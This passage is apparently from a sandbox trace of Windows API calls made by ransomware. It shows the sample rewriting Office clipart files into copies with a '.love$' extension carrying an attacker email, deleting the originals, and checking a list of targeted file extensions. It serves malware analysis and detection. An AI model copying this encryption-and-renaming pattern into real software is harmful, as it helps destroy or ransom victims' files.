nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.434] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.434] SetEndOfFile (hFile=0x34c) returned 1 [0120.434] CloseHandle (hObject=0x34c) returned 1 [0120.435] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.435] SetEndOfFile (hFile=0x364) returned 1 [0120.436] CloseHandle (hObject=0x364) returned 1 [0120.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0120.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.437] lstrlenW (lpString=".doc") returned 4 [0120.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.437] lstrlenW (lpString=".docx") returned 5 [0120.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.437] lstrlenW (lpString=".pdf") returned 4 [0120.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.437] lstrlenW (lpString=".xls") returned 4 [0120.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.437] lstrlenW (lpString=".xlsx") returned 5 [0120.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.437] lstrlenW (lpString=".ppt") returned 4 [0120.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.438] lstrlenW (lpString=".zip") returned 4 [0120.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.438] lstrlenW (lpString=".rar") returned 4 [0120.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.438] lstrlenW (lpString=".bz2") returned 4 [0120.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.438] lstrlenW (lpString=".7z") returned 3 [0120.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.438] lstrlenW (lpString=".dbf") returned 4 [0120.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.438] lstrlenW (lpString=".1cd") returned 4 [0120.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.438] lstrlenW (lpString=".jpg") returned 4 [0120.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.438] lstrlenW (lpString=".doc") returned 4 [0120.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.438] lstrlenW (lpString=".docx") returned 5 [0120.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.438] lstrlenW (lpString=".pdf") returned 4 [0120.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.438] lstrlenW (lpString=".xls") returned 4 [0120.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.439] lstrlenW (lpString=".xlsx") returned 5 [0120.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.439] lstrlenW (lpString=".ppt") returned 4 [0120.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.439] lstrlenW (lpString=".zip") returned 4 [0120.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.439] lstrlenW (lpString=".rar") returned 4 [0120.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.439] lstrlenW (lpString=".bz2") returned 4 [0120.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.439] lstrlenW (lpString=".7z") returned 3 [0120.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.439] lstrlenW (lpString=".dbf") returned 4 [0120.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.439] lstrlenW (lpString=".1cd") returned 4 [0120.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0120.439] lstrlenW (lpString=".jpg") returned 4 [0120.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.439] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.439] lstrlenW (lpString="AN02724_.WMF") returned 12 [0120.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0120.440] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2108) returned 1 [0120.440] CloseHandle (hObject=0x364) returned 1 [0120.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0120.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0120.440] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.441] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0120.441] GetLastError () returned 0x0 [0120.441] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x83c, lpOverlapped=0x0) returned 1 [0120.443] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x840, lpOverlapped=0x0) returned 1 [0120.444] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.444] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.444] SetEndOfFile (hFile=0x34c) returned 1 [0120.445] CloseHandle (hObject=0x34c) returned 1 [0120.980] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.989] SetEndOfFile (hFile=0x364) returned 1 [0120.991] CloseHandle (hObject=0x364) returned 1 [0120.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0121.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.351] lstrlenW (lpString=".doc") returned 4 [0121.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.351] lstrlenW (lpString=".docx") returned 5 [0121.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.351] lstrlenW (lpString=".pdf") returned 4 [0121.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.351] lstrlenW (lpString=".xls") returned 4 [0121.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.351] lstrlenW (lpString=".xlsx") returned 5 [0121.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.351] lstrlenW (lpString=".ppt") returned 4 [0121.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.351] lstrlenW (lpString=".zip") returned 4 [0121.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.351] lstrlenW (lpString=".rar") returned 4 [0121.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.352] lstrlenW (lpString=".bz2") returned 4 [0121.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.352] lstrlenW (lpString=".7z") returned 3 [0121.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.352] lstrlenW (lpString=".dbf") returned 4 [0121.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.352] lstrlenW (lpString=".1cd") returned 4 [0121.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.352] lstrlenW (lpString=".jpg") returned 4 [0121.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.352] lstrlenW (lpString=".doc") returned 4 [0121.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.352] lstrlenW (lpString=".docx") returned 5 [0121.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.352] lstrlenW (lpString=".pdf") returned 4 [0121.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.352] lstrlenW (lpString=".xls") returned 4 [0121.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.352] lstrlenW (lpString=".xlsx") returned 5 [0121.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.352] lstrlenW (lpString=".ppt") returned 4 [0121.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.353] lstrlenW (lpString=".zip") returned 4 [0121.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.353] lstrlenW (lpString=".rar") returned 4 [0121.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.353] lstrlenW (lpString=".bz2") returned 4 [0121.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.353] lstrlenW (lpString=".7z") returned 3 [0121.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.353] lstrlenW (lpString=".dbf") returned 4 [0121.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.353] lstrlenW (lpString=".1cd") returned 4 [0121.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0121.353] lstrlenW (lpString=".jpg") returned 4 [0121.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.353] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.353] lstrlenW (lpString="AN04206_.WMF") returned 12 [0121.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0121.768] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=7668) returned 1 [0121.768] CloseHandle (hObject=0x2d8) returned 1 [0121.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0121.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0121.780] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.780] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0121.781] GetLastError () returned 0x0 [0121.781] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x1df4, lpOverlapped=0x0) returned 1 [0121.784] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x1e00, lpOverlapped=0x0) returned 1 [0121.785] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.785] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0121.786] SetEndOfFile (hFile=0x34c) returned 1 [0121.786] CloseHandle (hObject=0x34c) returned 1 [0121.794] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.794] SetEndOfFile (hFile=0x2d8) returned 1 [0121.795] CloseHandle (hObject=0x2d8) returned 1 [0121.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0121.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.796] lstrlenW (lpString=".doc") returned 4 [0121.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.796] lstrlenW (lpString=".docx") returned 5 [0121.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.797] lstrlenW (lpString=".pdf") returned 4 [0121.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.797] lstrlenW (lpString=".xls") returned 4 [0121.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.797] lstrlenW (lpString=".xlsx") returned 5 [0121.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.797] lstrlenW (lpString=".ppt") returned 4 [0121.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.797] lstrlenW (lpString=".zip") returned 4 [0121.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.797] lstrlenW (lpString=".rar") returned 4 [0121.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.797] lstrlenW (lpString=".bz2") returned 4 [0121.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.797] lstrlenW (lpString=".7z") returned 3 [0121.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.797] lstrlenW (lpString=".dbf") returned 4 [0121.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.797] lstrlenW (lpString=".1cd") returned 4 [0121.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.797] lstrlenW (lpString=".jpg") returned 4 [0121.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.798] lstrlenW (lpString=".doc") returned 4 [0121.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.798] lstrlenW (lpString=".docx") returned 5 [0121.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.798] lstrlenW (lpString=".pdf") returned 4 [0121.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.798] lstrlenW (lpString=".xls") returned 4 [0121.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.798] lstrlenW (lpString=".xlsx") returned 5 [0121.798] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.798] lstrlenW (lpString=".ppt") returned 4 [0121.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.798] lstrlenW (lpString=".zip") returned 4 [0121.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.798] lstrlenW (lpString=".rar") returned 4 [0121.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.798] lstrlenW (lpString=".bz2") returned 4 [0121.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.798] lstrlenW (lpString=".7z") returned 3 [0121.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.798] lstrlenW (lpString=".dbf") returned 4 [0121.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.798] lstrlenW (lpString=".1cd") returned 4 [0121.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0121.799] lstrlenW (lpString=".jpg") returned 4 [0121.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.799] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.799] lstrlenW (lpString="AN04269_.WMF") returned 12 [0121.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0121.800] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2016) returned 1 [0121.800] CloseHandle (hObject=0x2d8) returned 1 [0121.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0121.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0121.801] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.801] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0121.801] GetLastError () returned 0x0 [0121.801] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x7e0, lpOverlapped=0x0) returned 1 [0121.803] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0121.804] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.804] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0121.805] SetEndOfFile (hFile=0x34c) returned 1 [0121.805] CloseHandle (hObject=0x34c) returned 1 [0121.806] 